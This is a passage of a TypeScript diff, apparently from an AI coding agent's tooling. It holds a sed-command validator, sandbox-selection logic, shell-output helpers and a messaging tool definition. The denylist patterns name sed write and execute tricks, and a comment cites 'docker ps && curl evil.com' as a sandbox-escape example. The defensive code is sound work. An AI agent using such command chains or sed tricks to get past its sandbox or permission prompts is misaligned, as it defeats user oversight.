+export function sedCommandIsAllowedByAllowlist(
+  command: string,
+  options?: { allowFileWrites?: boolean },
+): boolean {
+  const allowFileWrites = options?.allowFileWrites ?? false
+
+  // Extract sed expressions (content inside quotes where actual sed commands live)
+  let expressions: string[]
+  try {
+    expressions = extractSedExpressions(command)
+  } catch (_error) {
+    // If parsing failed, treat as not allowed
+    return false
+  }
+
+  // Check if sed command has file arguments
+  const hasFileArguments = hasFileArgs(command)
+
+  // Check if command matches allowlist patterns
+  let isPattern1 = false
+  let isPattern2 = false
+
+  if (allowFileWrites) {
+    // When allowing file writes, only check substitution commands (Pattern 2 variant)
+    // Pattern 1 (line printing) doesn't need file writes
+    isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments, {
+      allowFileWrites: true,
+    })
+  } else {
+    // Standard read-only mode: check both patterns
+    isPattern1 = isLinePrintingCommand(command, expressions)
+    isPattern2 = isSubstitutionCommand(command, expressions, hasFileArguments)
+  }
+
+  if (!isPattern1 && !isPattern2) {
+    return false
+  }
+
+  // Pattern 2 does not allow semicolons (command separators)
+  // Pattern 1 allows semicolons for separating print commands
+  for (const expr of expressions) {
+    if (isPattern2 && expr.includes(';')) {
+      return false
+    }
+  }
+
+  // Defense-in-depth: Even if allowlist matches, check denylist
+  for (const expr of expressions) {
+    if (containsDangerousOperations(expr)) {
+      return false
+    }
+  }
+
+  return true
+}
+
+/**
+ * Check if a sed command has file arguments (not just stdin)
+ * @internal Exported for testing
+ */
+export function hasFileArgs(command: string): boolean {
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return false
+
+  const withoutSed = command.slice(sedMatch[0].length)
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) return true
+  const parsed = parseResult.tokens
+
+  try {
+    let argCount = 0
+    let hasEFlag = false
+
+    for (let i = 0; i < parsed.length; i++) {
+      const arg = parsed[i]
+
+      // Handle both string arguments and glob patterns (like *.log)
+      if (typeof arg !== 'string' && typeof arg !== 'object') continue
+
+      // If it's a glob pattern, it counts as a file argument
+      if (
+        typeof arg === 'object' &&
+        arg !== null &&
+        'op' in arg &&
+        arg.op === 'glob'
+      ) {
+        return true
+      }
+
+      // Skip non-string arguments that aren't glob patterns
+      if (typeof arg !== 'string') continue
+
+      // Handle -e flag followed by expression
+      if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
+        hasEFlag = true
+        i++ // Skip the next argument since it's the expression
+        continue
+      }
+
+      // Handle --expression=value format
+      if (arg.startsWith('--expression=')) {
+        hasEFlag = true
+        continue
+      }
+
+      // Handle -e=value format (non-standard but defense in depth)
+      if (arg.startsWith('-e=')) {
+        hasEFlag = true
+        continue
+      }
+
+      // Skip other flags
+      if (arg.startsWith('-')) continue
+
+      argCount++
+
+      // If we used -e flags, ALL non-flag arguments are file arguments
+      if (hasEFlag) {
+        return true
+      }
+
+      // If we didn't use -e flags, the first non-flag argument is the sed expression,
+      // so we need more than 1 non-flag argument to have file arguments
+      if (argCount > 1) {
+        return true
+      }
+    }
+
+    return false
+  } catch (_error) {
+    return true // Assume dangerous if parsing fails
+  }
+}
+
+/**
+ * Extract sed expressions from command, ignoring flags and filenames
+ * @param command Full sed command
+ * @returns Array of sed expressions to check for dangerous operations
+ * @throws Error if parsing fails
+ * @internal Exported for testing
+ */
+export function extractSedExpressions(command: string): string[] {
+  const expressions: string[] = []
+
+  // Calculate withoutSed by trimming off the first N characters (removing 'sed ')
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return expressions
+
+  const withoutSed = command.slice(sedMatch[0].length)
+
+  // Reject dangerous flag combinations like -ew, -eW, -ee, -we (combined -e/-w with dangerous commands)
+  if (/-e[wWe]/.test(withoutSed) || /-w[eE]/.test(withoutSed)) {
+    throw new Error('Dangerous flag combination detected')
+  }
+
+  // Use shell-quote to parse the arguments properly
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) {
+    // Malformed shell syntax - throw error to be caught by caller
+    throw new Error(`Malformed shell syntax: ${parseResult.error}`)
+  }
+  const parsed = parseResult.tokens
+  try {
+    let foundEFlag = false
+    let foundExpression = false
+
+    for (let i = 0; i < parsed.length; i++) {
+      const arg = parsed[i]
+
+      // Skip non-string arguments (like control operators)
+      if (typeof arg !== 'string') continue
+
+      // Handle -e flag followed by expression
+      if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
+        foundEFlag = true
+        const nextArg = parsed[i + 1]
+        if (typeof nextArg === 'string') {
+          expressions.push(nextArg)
+          i++ // Skip the next argument since we consumed it
+        }
+        continue
+      }
+
+      // Handle --expression=value format
+      if (arg.startsWith('--expression=')) {
+        foundEFlag = true
+        expressions.push(arg.slice('--expression='.length))
+        continue
+      }
+
+      // Handle -e=value format (non-standard but defense in depth)
+      if (arg.startsWith('-e=')) {
+        foundEFlag = true
+        expressions.push(arg.slice('-e='.length))
+        continue
+      }
+
+      // Skip other flags
+      if (arg.startsWith('-')) continue
+
+      // If we haven't found any -e flags, the first non-flag argument is the sed expression
+      if (!foundEFlag && !foundExpression) {
+        expressions.push(arg)
+        foundExpression = true
+        continue
+      }
+
+      // If we've already found -e flags or a standalone expression,
+      // remaining non-flag arguments are filenames
+      break
+    }
+  } catch (error) {
+    // If shell-quote parsing fails, treat the sed command as unsafe
+    throw new Error(
+      `Failed to parse sed command: ${error instanceof Error ? error.message : 'Unknown error'}`,
+    )
+  }
+
+  return expressions
+}
+
+/**
+ * Check if a sed expression contains dangerous operations (denylist)
+ * @param expression Single sed expression (without quotes)
+ * @returns true if dangerous, false if safe
+ */
+function containsDangerousOperations(expression: string): boolean {
+  const cmd = expression.trim()
+  if (!cmd) return false
+
+  // CONSERVATIVE REJECTIONS: Broadly reject patterns that could be dangerous
+  // When in doubt, treat as unsafe
+
+  // Reject non-ASCII characters (Unicode homoglyphs, combining chars, etc.)
+  // Examples: ｗ (fullwidth), ᴡ (small capital), w̃ (combining tilde)
+  // Check for characters outside ASCII range (0x01-0x7F, excluding null byte)
+  // eslint-disable-next-line no-control-regex
+  if (/[^\x01-\x7F]/.test(cmd)) {
+    return true
+  }
+
+  // Reject curly braces (blocks) - too complex to parse
+  if (cmd.includes('{') || cmd.includes('}')) {
+    return true
+  }
+
+  // Reject newlines - multi-line commands are too complex
+  if (cmd.includes('\n')) {
+    return true
+  }
+
+  // Reject comments (# not immediately after s command)
+  // Comments look like: #comment or start with #
+  // Delimiter looks like: s#pattern#replacement#
+  const hashIndex = cmd.indexOf('#')
+  if (hashIndex !== -1 && !(hashIndex > 0 && cmd[hashIndex - 1] === 's')) {
+    return true
+  }
+
+  // Reject negation operator
+  // Negation can appear: at start (!/pattern/), after address (/pattern/!, 1,10!, $!)
+  // Delimiter looks like: s!pattern!replacement! (has 's' before it)
+  if (/^!/.test(cmd) || /[/\d$]!/.test(cmd)) {
+    return true
+  }
+
+  // Reject tilde in GNU step address format (digit~digit, ,~digit, or $~digit)
+  // Allow whitespace around tilde
+  if (/\d\s*~\s*\d|,\s*~\s*\d|\$\s*~\s*\d/.test(cmd)) {
+    return true
+  }
+
+  // Reject comma at start (bare comma is shorthand for 1,$ address range)
+  if (/^,/.test(cmd)) {
+    return true
+  }
+
+  // Reject comma followed by +/- (GNU offset addresses)
+  if (/,\s*[+-]/.test(cmd)) {
+    return true
+  }
+
+  // Reject backslash tricks:
+  // 1. s\ (substitution with backslash delimiter)
+  // 2. \X where X could be an alternate delimiter (|, #, %, etc.) - not regex escapes
+  if (/s\\/.test(cmd) || /\\[|#%@]/.test(cmd)) {
+    return true
+  }
+
+  // Reject escaped slashes followed by w/W (patterns like /\/path\/to\/file/w)
+  if (/\\\/.*[wW]/.test(cmd)) {
+    return true
+  }
+
+  // Reject malformed/suspicious patterns we don't understand
+  // If there's a slash followed by non-slash chars, then whitespace, then dangerous commands
+  // Examples: /pattern w file, /pattern e cmd, /foo X;w file
+  if (/\/[^/]*\s+[wWeE]/.test(cmd)) {
+    return true
+  }
+
+  // Reject malformed substitution commands that don't follow normal pattern
+  // Examples: s/foobareoutput.txt (missing delimiters), s/foo/bar//w (extra delimiter)
+  if (/^s\//.test(cmd) && !/^s\/[^/]*\/[^/]*\/[^/]*$/.test(cmd)) {
+    return true
+  }
+
+  // PARANOID: Reject any command starting with 's' that ends with dangerous chars (w, W, e, E)
+  // and doesn't match our known safe substitution pattern. This catches malformed s commands
+  // with non-slash delimiters that might be trying to use dangerous flags.
+  if (/^s./.test(cmd) && /[wWeE]$/.test(cmd)) {
+    // Check if it's a properly formed substitution (any delimiter, not just /)
+    const properSubst = /^s([^\\\n]).*?\1.*?\1[^wWeE]*$/.test(cmd)
+    if (!properSubst) {
+      return true
+    }
+  }
+
+  // Check for dangerous write commands
+  // Patterns: [address]w filename, [address]W filename, /pattern/w filename, /pattern/W filename
+  // Simplified to avoid exponential backtracking (CodeQL issue)
+  // Check for w/W in contexts where it would be a command (with optional whitespace)
+  if (
+    /^[wW]\s*\S+/.test(cmd) || // At start: w file
+    /^\d+\s*[wW]\s*\S+/.test(cmd) || // After line number: 1w file or 1 w file
+    /^\$\s*[wW]\s*\S+/.test(cmd) || // After $: $w file or $ w file
+    /^\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) || // After pattern: /pattern/w file
+    /^\d+,\d+\s*[wW]\s*\S+/.test(cmd) || // After range: 1,10w file
+    /^\d+,\$\s*[wW]\s*\S+/.test(cmd) || // After range: 1,$w file
+    /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) // After pattern range: /s/,/e/w file
+  ) {
+    return true
+  }
+
+  // Check for dangerous execute commands
+  // Patterns: [address]e [command], /pattern/e [command], or commands starting with e
+  // Simplified to avoid exponential backtracking (CodeQL issue)
+  // Check for e in contexts where it would be a command (with optional whitespace)
+  if (
+    /^e/.test(cmd) || // At start: e cmd
+    /^\d+\s*e/.test(cmd) || // After line number: 1e or 1 e
+    /^\$\s*e/.test(cmd) || // After $: $e or $ e
+    /^\/[^/]*\/[IMim]*\s*e/.test(cmd) || // After pattern: /pattern/e
+    /^\d+,\d+\s*e/.test(cmd) || // After range: 1,10e
+    /^\d+,\$\s*e/.test(cmd) || // After range: 1,$e
+    /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*e/.test(cmd) // After pattern range: /s/,/e/e
+  ) {
+    return true
+  }
+
+  // Check for substitution commands with dangerous flags
+  // Pattern: s<delim>pattern<delim>replacement<delim>flags where flags contain w or e
+  // Per POSIX, sed allows any character except backslash and newline as delimiter
+  const substitutionMatch = cmd.match(/s([^\\\n]).*?\1.*?\1(.*?)$/)
+  if (substitutionMatch) {
+    const flags = substitutionMatch[2] || ''
+
+    // Check for write flag: s/old/new/w filename or s/old/new/gw filename
+    if (flags.includes('w') || flags.includes('W')) {
+      return true
+    }
+
+    // Check for execute flag: s/old/new/e or s/old/new/ge
+    if (flags.includes('e') || flags.includes('E')) {
+      return true
+    }
+  }
+
+  // Check for y (transliterate) command followed by dangerous operations
+  // Pattern: y<delim>source<delim>dest<delim> followed by anything
+  // The y command uses same delimiter syntax as s command
+  // PARANOID: Reject any y command that has w/W/e/E anywhere after the delimiters
+  const yCommandMatch = cmd.match(/y([^\\\n])/)
+  if (yCommandMatch) {
+    // If we see a y command, check if there's any w, W, e, or E in the entire command
+    // This is paranoid but safe - y commands are rare and w/e after y is suspicious
+    if (/[wWeE]/.test(cmd)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Cross-cutting validation step for sed commands.
+ *
+ * This is a constraint check that blocks dangerous sed operations regardless of mode.
+ * It returns 'passthrough' for non-sed commands or safe sed commands,
+ * and 'ask' for dangerous sed operations (w/W/e/E commands).
+ *
+ * @param input - Object containing the command string
+ * @param toolPermissionContext - Context containing mode and permissions
+ * @returns
+ * - 'ask' if any sed command contains dangerous operations
+ * - 'passthrough' if no sed commands or all are safe
+ */
+export function checkSedConstraints(
+  input: { command: string },
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  const commands = splitCommand_DEPRECATED(input.command)
+
+  for (const cmd of commands) {
+    // Skip non-sed commands
+    const trimmed = cmd.trim()
+    const baseCmd = trimmed.split(/\s+/)[0]
+    if (baseCmd !== 'sed') {
+      continue
+    }
+
+    // In acceptEdits mode, allow file writes (-i flag) but still block dangerous operations
+    const allowFileWrites = toolPermissionContext.mode === 'acceptEdits'
+
+    const isAllowed = sedCommandIsAllowedByAllowlist(trimmed, {
+      allowFileWrites,
+    })
+
+    if (!isAllowed) {
+      return {
+        behavior: 'ask',
+        message:
+          'sed command requires approval (contains potentially dangerous operations)',
+        decisionReason: {
+          type: 'other',
+          reason:
+            'sed command contains operations that require explicit approval (e.g., write commands, execute commands)',
+        },
+      }
+    }
+  }
+
+  // No dangerous sed commands found (or no sed commands at all)
+  return {
+    behavior: 'passthrough',
+    message: 'No dangerous sed operations detected',
+  }
+}

src/tools/BashTool/shouldUseSandbox.ts

@@ -0,0 +1,153 @@
+import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
+import {
+  BINARY_HIJACK_VARS,
+  bashPermissionRule,
+  matchWildcardPattern,
+  stripAllLeadingEnvVars,
+  stripSafeWrappers,
+} from './bashPermissions.js'
+
+type SandboxInput = {
+  command?: string
+  dangerouslyDisableSandbox?: boolean
+}
+
+// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
+// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
+// system (which prompts users) is the actual security control.
+function containsExcludedCommand(command: string): boolean {
+  // Check dynamic config for disabled commands and substrings (only for ants)
+  if (process.env.USER_TYPE === 'ant') {
+    const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
+      commands: string[]
+      substrings: string[]
+    }>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
+
+    // Check if command contains any disabled substrings
+    for (const substring of disabledCommands.substrings) {
+      if (command.includes(substring)) {
+        return true
+      }
+    }
+
+    // Check if command starts with any disabled commands
+    try {
+      const commandParts = splitCommand_DEPRECATED(command)
+      for (const part of commandParts) {
+        const baseCommand = part.trim().split(' ')[0]
+        if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
+          return true
+        }
+      }
+    } catch {
+      // If we can't parse the command (e.g., malformed bash syntax),
+      // treat it as not excluded to allow other validation checks to handle it
+      // This prevents crashes when rendering tool use messages
+    }
+  }
+
+  // Check user-configured excluded commands from settings
+  const settings = getSettings_DEPRECATED()
+  const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
+
+  if (userExcludedCommands.length === 0) {
+    return false
+  }
+
+  // Split compound commands (e.g. "docker ps && curl evil.com") into individual
+  // subcommands and check each one against excluded patterns. This prevents a
+  // compound command from escaping the sandbox just because its first subcommand
+  // matches an excluded pattern.
+  let subcommands: string[]
+  try {
+    subcommands = splitCommand_DEPRECATED(command)
+  } catch {
+    subcommands = [command]
+  }
+
+  for (const subcommand of subcommands) {
+    const trimmed = subcommand.trim()
+    // Also try matching with env var prefixes and wrapper commands stripped, so
+    // that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
+    // security boundary (see NOTE at top); the &&-split above already lets
+    // `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
+    //
+    // We iteratively apply both stripping operations until no new candidates are
+    // produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
+    // This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
+    // where single-pass composition would fail.
+    const candidates = [trimmed]
+    const seen = new Set(candidates)
+    let startIdx = 0
+    while (startIdx < candidates.length) {
+      const endIdx = candidates.length
+      for (let i = startIdx; i < endIdx; i++) {
+        const cmd = candidates[i]!
+        const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
+        if (!seen.has(envStripped)) {
+          candidates.push(envStripped)
+          seen.add(envStripped)
+        }
+        const wrapperStripped = stripSafeWrappers(cmd)
+        if (!seen.has(wrapperStripped)) {
+          candidates.push(wrapperStripped)
+          seen.add(wrapperStripped)
+        }
+      }
+      startIdx = endIdx
+    }
+
+    for (const pattern of userExcludedCommands) {
+      const rule = bashPermissionRule(pattern)
+      for (const cand of candidates) {
+        switch (rule.type) {
+          case 'prefix':
+            if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
+              return true
+            }
+            break
+          case 'exact':
+            if (cand === rule.command) {
+              return true
+            }
+            break
+          case 'wildcard':
+            if (matchWildcardPattern(rule.pattern, cand)) {
+              return true
+            }
+            break
+        }
+      }
+    }
+  }
+
+  return false
+}
+
+export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
+  if (!SandboxManager.isSandboxingEnabled()) {
+    return false
+  }
+
+  // Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
+  if (
+    input.dangerouslyDisableSandbox &&
+    SandboxManager.areUnsandboxedCommandsAllowed()
+  ) {
+    return false
+  }
+
+  if (!input.command) {
+    return false
+  }
+
+  // Don't sandbox if the command contains user-configured excluded commands
+  if (containsExcludedCommand(input.command)) {
+    return false
+  }
+
+  return true
+}

src/tools/BashTool/toolName.ts

@@ -0,0 +1,2 @@
+// Here to break circular dependency from prompt.ts
+export const BASH_TOOL_NAME = 'Bash'

src/tools/BashTool/utils.ts

@@ -0,0 +1,223 @@
+import type {
+  Base64ImageSource,
+  ContentBlockParam,
+  ToolResultBlockParam,
+} from '@anthropic-ai/sdk/resources/index.mjs'
+import { readFile, stat } from 'fs/promises'
+import { getOriginalCwd } from 'src/bootstrap/state.js'
+import { logEvent } from 'src/services/analytics/index.js'
+import type { ToolPermissionContext } from 'src/Tool.js'
+import { getCwd } from 'src/utils/cwd.js'
+import { pathInAllowedWorkingPath } from 'src/utils/permissions/filesystem.js'
+import { setCwd } from 'src/utils/Shell.js'
+import { shouldMaintainProjectWorkingDir } from '../../utils/envUtils.js'
+import { maybeResizeAndDownsampleImageBuffer } from '../../utils/imageResizer.js'
+import { getMaxOutputLength } from '../../utils/shell/outputLimits.js'
+import { countCharInString, plural } from '../../utils/stringUtils.js'
+/**
+ * Strips leading and trailing lines that contain only whitespace/newlines.
+ * Unlike trim(), this preserves whitespace within content lines and only removes
+ * completely empty lines from the beginning and end.
+ */
+export function stripEmptyLines(content: string): string {
+  const lines = content.split('\n')
+
+  // Find the first non-empty line
+  let startIndex = 0
+  while (startIndex < lines.length && lines[startIndex]?.trim() === '') {
+    startIndex++
+  }
+
+  // Find the last non-empty line
+  let endIndex = lines.length - 1
+  while (endIndex >= 0 && lines[endIndex]?.trim() === '') {
+    endIndex--
+  }
+
+  // If all lines are empty, return empty string
+  if (startIndex > endIndex) {
+    return ''
+  }
+
+  // Return the slice with non-empty lines
+  return lines.slice(startIndex, endIndex + 1).join('\n')
+}
+
+/**
+ * Check if content is a base64 encoded image data URL
+ */
+export function isImageOutput(content: string): boolean {
+  return /^data:image\/[a-z0-9.+_-]+;base64,/i.test(content)
+}
+
+const DATA_URI_RE = /^data:([^;]+);base64,(.+)$/
+
+/**
+ * Parse a data-URI string into its media type and base64 payload.
+ * Input is trimmed before matching.
+ */
+export function parseDataUri(
+  s: string,
+): { mediaType: string; data: string } | null {
+  const match = s.trim().match(DATA_URI_RE)
+  if (!match || !match[1] || !match[2]) return null
+  return { mediaType: match[1], data: match[2] }
+}
+
+/**
+ * Build an image tool_result block from shell stdout containing a data URI.
+ * Returns null if parse fails so callers can fall through to text handling.
+ */
+export function buildImageToolResult(
+  stdout: string,
+  toolUseID: string,
+): ToolResultBlockParam | null {
+  const parsed = parseDataUri(stdout)
+  if (!parsed) return null
+  return {
+    tool_use_id: toolUseID,
+    type: 'tool_result',
+    content: [
+      {
+        type: 'image',
+        source: {
+          type: 'base64',
+          media_type: parsed.mediaType as Base64ImageSource['media_type'],
+          data: parsed.data,
+        },
+      },
+    ],
+  }
+}
+
+// Cap file reads to 20 MB — any image data URI larger than this is
+// well beyond what the API accepts (5 MB base64) and would OOM if read
+// into memory.
+const MAX_IMAGE_FILE_SIZE = 20 * 1024 * 1024
+
+/**
+ * Resize image output from a shell tool. stdout is capped at
+ * getMaxOutputLength() when read back from the shell output file — if the
+ * full output spilled to disk, re-read it from there, since truncated base64
+ * would decode to a corrupt image that either throws here or gets rejected by
+ * the API. Caps dimensions too: compressImageBuffer only checks byte size, so
+ * a small-but-high-DPI PNG (e.g. matplotlib at dpi=300) sails through at full
+ * resolution and poisons many-image requests (CC-304).
+ *
+ * Returns the re-encoded data URI on success, or null if the source didn't
+ * parse as a data URI (caller decides whether to flip isImage).
+ */
+export async function resizeShellImageOutput(
+  stdout: string,
+  outputFilePath: string | undefined,
+  outputFileSize: number | undefined,
+): Promise<string | null> {
+  let source = stdout
+  if (outputFilePath) {
+    const size = outputFileSize ?? (await stat(outputFilePath)).size
+    if (size > MAX_IMAGE_FILE_SIZE) return null
+    source = await readFile(outputFilePath, 'utf8')
+  }
+  const parsed = parseDataUri(source)
+  if (!parsed) return null
+  const buf = Buffer.from(parsed.data, 'base64')
+  const ext = parsed.mediaType.split('/')[1] || 'png'
+  const resized = await maybeResizeAndDownsampleImageBuffer(
+    buf,
+    buf.length,
+    ext,
+  )
+  return `data:image/${resized.mediaType};base64,${resized.buffer.toString('base64')}`
+}
+
+export function formatOutput(content: string): {
+  totalLines: number
+  truncatedContent: string
+  isImage?: boolean
+} {
+  const isImage = isImageOutput(content)
+  if (isImage) {
+    return {
+      totalLines: 1,
+      truncatedContent: content,
+      isImage,
+    }
+  }
+
+  const maxOutputLength = getMaxOutputLength()
+  if (content.length <= maxOutputLength) {
+    return {
+      totalLines: countCharInString(content, '\n') + 1,
+      truncatedContent: content,
+      isImage,
+    }
+  }
+
+  const truncatedPart = content.slice(0, maxOutputLength)
+  const remainingLines = countCharInString(content, '\n', maxOutputLength) + 1
+  const truncated = `${truncatedPart}\n\n... [${remainingLines} lines truncated] ...`
+
+  return {
+    totalLines: countCharInString(content, '\n') + 1,
+    truncatedContent: truncated,
+    isImage,
+  }
+}
+
+export const stdErrAppendShellResetMessage = (stderr: string): string =>
+  `${stderr.trim()}\nShell cwd was reset to ${getOriginalCwd()}`
+
+export function resetCwdIfOutsideProject(
+  toolPermissionContext: ToolPermissionContext,
+): boolean {
+  const cwd = getCwd()
+  const originalCwd = getOriginalCwd()
+  const shouldMaintain = shouldMaintainProjectWorkingDir()
+  if (
+    shouldMaintain ||
+    // Fast path: originalCwd is unconditionally in allWorkingDirectories
+    // (filesystem.ts), so when cwd hasn't moved, pathInAllowedWorkingPath is
+    // trivially true — skip its syscalls for the no-cd common case.
+    (cwd !== originalCwd &&
+      !pathInAllowedWorkingPath(cwd, toolPermissionContext))
+  ) {
+    // Reset to original directory if maintaining project dir OR outside allowed working directory
+    setCwd(originalCwd)
+    if (!shouldMaintain) {
+      logEvent('tengu_bash_tool_reset_to_original_dir', {})
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Creates a human-readable summary of structured content blocks.
+ * Used to display MCP results with images and text in the UI.
+ */
+export function createContentSummary(content: ContentBlockParam[]): string {
+  const parts: string[] = []
+  let textCount = 0
+  let imageCount = 0
+
+  for (const block of content) {
+    if (block.type === 'image') {
+      imageCount++
+    } else if (block.type === 'text' && 'text' in block) {
+      textCount++
+      // Include first 200 chars of text blocks for context
+      const preview = block.text.slice(0, 200)
+      parts.push(preview + (block.text.length > 200 ? '...' : ''))
+    }
+  }
+
+  const summary: string[] = []
+  if (imageCount > 0) {
+    summary.push(`[${imageCount} ${plural(imageCount, 'image')}]`)
+  }
+  if (textCount > 0) {
+    summary.push(`[${textCount} text ${plural(textCount, 'block')}]`)
+  }
+
+  return `MCP Result: ${summary.join(', ')}${parts.length > 0 ? '\n\n' + parts.join('\n\n') : ''}`
+}

src/tools/BriefTool/BriefTool.ts

@@ -0,0 +1,204 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import { getKairosActive, getUserMsgOptIn } from '../../bootstrap/state.js'
+import { getFeatureValue_CACHED_WITH_REFRESH } from '../../services/analytics/growthbook.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { ValidationResult } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { plural } from '../../utils/stringUtils.js'
+import { resolveAttachments, validateAttachmentPaths } from './attachments.js'
+import {
+  BRIEF_TOOL_NAME,
+  BRIEF_TOOL_PROMPT,
+  DESCRIPTION,
+  LEGACY_BRIEF_TOOL_NAME,
+} from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    message: z
+      .string()
+      .describe('The message for the user. Supports markdown formatting.'),
+    attachments: z
+      .array(z.string())
+      .optional()
+      .describe(
+        'Optional file paths (absolute or relative to cwd) to attach. Use for photos, screenshots, diffs, logs, or any file the user should see alongside your message.',
+      ),
+    status: z
+      .enum(['normal', 'proactive'])
+      .describe(
+        "Use 'proactive' when you're surfacing something the user hasn't asked for and needs to see now — task completion while they're away, a blocker you hit, an unsolicited status update. Use 'normal' when replying to something the user just said.",
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+// attachments MUST remain optional — resumed sessions replay pre-attachment
+// outputs verbatim and a required field would crash the UI renderer on resume.
+const outputSchema = lazySchema(() =>
+  z.object({
+    message: z.string().describe('The message'),
+    attachments: z
+      .array(
+        z.object({
+          path: z.string(),
+          size: z.number(),
+          isImage: z.boolean(),
+          file_uuid: z.string().optional(),
+        }),
+      )
+      .optional()
+      .describe('Resolved attachment metadata'),
+    sentAt: z
+      .string()
+      .optional()
+      .describe(
+        'ISO timestamp captured at tool execution on the emitting process. Optional — resumed sessions replay pre-sentAt outputs verbatim.',
+      ),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+const KAIROS_BRIEF_REFRESH_MS = 5 * 60 * 1000
+
+/**
+ * Entitlement check — is the user ALLOWED to use Brief? Combines build-time
+ * flags with runtime GB gate + assistant-mode passthrough. No opt-in check
+ * here — this decides whether opt-in should be HONORED, not whether the user
+ * has opted in.
+ *
+ * Build-time OR-gated on KAIROS || KAIROS_BRIEF (same pattern as
+ * PROACTIVE || KAIROS): assistant mode depends on Brief, so KAIROS alone
+ * must bundle it. KAIROS_BRIEF lets Brief ship independently.
+ *
+ * Use this to decide whether `--brief` / `defaultView: 'chat'` / `--tools`
+ * listing should be honored. Use `isBriefEnabled()` to decide whether the
+ * tool is actually active in the current session.
+ *
+ * CLAUDE_CODE_BRIEF env var force-grants entitlement for dev/testing —
+ * bypasses the GB gate so you can test without being enrolled. Still
+ * requires an opt-in action to activate (--brief, defaultView, etc.), but
+ * the env var alone also sets userMsgOptIn via maybeActivateBrief().
+ */
+export function isBriefEntitled(): boolean {
+  // Positive ternary — see docs/feature-gating.md. Negative early-return
+  // would not eliminate the GB gate string from external builds.
+  return feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? getKairosActive() ||
+        isEnvTruthy(process.env.CLAUDE_CODE_BRIEF) ||
+        getFeatureValue_CACHED_WITH_REFRESH(
+          'tengu_kairos_brief',
+          false,
+          KAIROS_BRIEF_REFRESH_MS,
+        )
+    : false
+}
+
+/**
+ * Unified activation gate for the Brief tool. Governs model-facing behavior
+ * as a unit: tool availability, system prompt section (getBriefSection),
+ * tool-deferral bypass (isDeferredTool), and todo-nag suppression.
+ *
+ * Activation requires explicit opt-in (userMsgOptIn) set by one of:
+ *   - `--brief` CLI flag (maybeActivateBrief in main.tsx)
+ *   - `defaultView: 'chat'` in settings (main.tsx init)
+ *   - `/brief` slash command (brief.ts)
+ *   - `/config` defaultView picker (Config.tsx)
+ *   - SendUserMessage in `--tools` / SDK `tools` option (main.tsx)
+ *   - CLAUDE_CODE_BRIEF env var (maybeActivateBrief — dev/testing bypass)
+ * Assistant mode (kairosActive) bypasses opt-in since its system prompt
+ * hard-codes "you MUST use SendUserMessage" (systemPrompt.md:14).
+ *
+ * The GB gate is re-checked here as a kill-switch AND — flipping
+ * tengu_kairos_brief off mid-session disables the tool on the next 5-min
+ * refresh even for opted-in sessions. No opt-in → always false regardless
+ * of GB (this is the fix for "brief defaults on for enrolled ants").
+ *
+ * Called from Tool.isEnabled() (lazy, post-init), never at module scope.
+ * getKairosActive() and getUserMsgOptIn() are set in main.tsx before any
+ * caller reaches here.
+ */
+export function isBriefEnabled(): boolean {
+  // Top-level feature() guard is load-bearing for DCE: Bun can constant-fold
+  // the ternary to `false` in external builds and then dead-code the BriefTool
+  // object. Composing isBriefEntitled() alone (which has its own guard) is
+  // semantically equivalent but defeats constant-folding across the boundary.
+  return feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (getKairosActive() || getUserMsgOptIn()) && isBriefEntitled()
+    : false
+}
+
+export const BriefTool = buildTool({
+  name: BRIEF_TOOL_NAME,
+  aliases: [LEGACY_BRIEF_TOOL_NAME],
+  searchHint:
+    'send a message to the user — your primary visible output channel',
+  maxResultSizeChars: 100_000,
+  userFacingName() {
+    return ''
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  isEnabled() {
+    return isBriefEnabled()
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  toAutoClassifierInput(input) {
+    return input.message
+  },
+  async validateInput({ attachments }, _context): Promise<ValidationResult> {
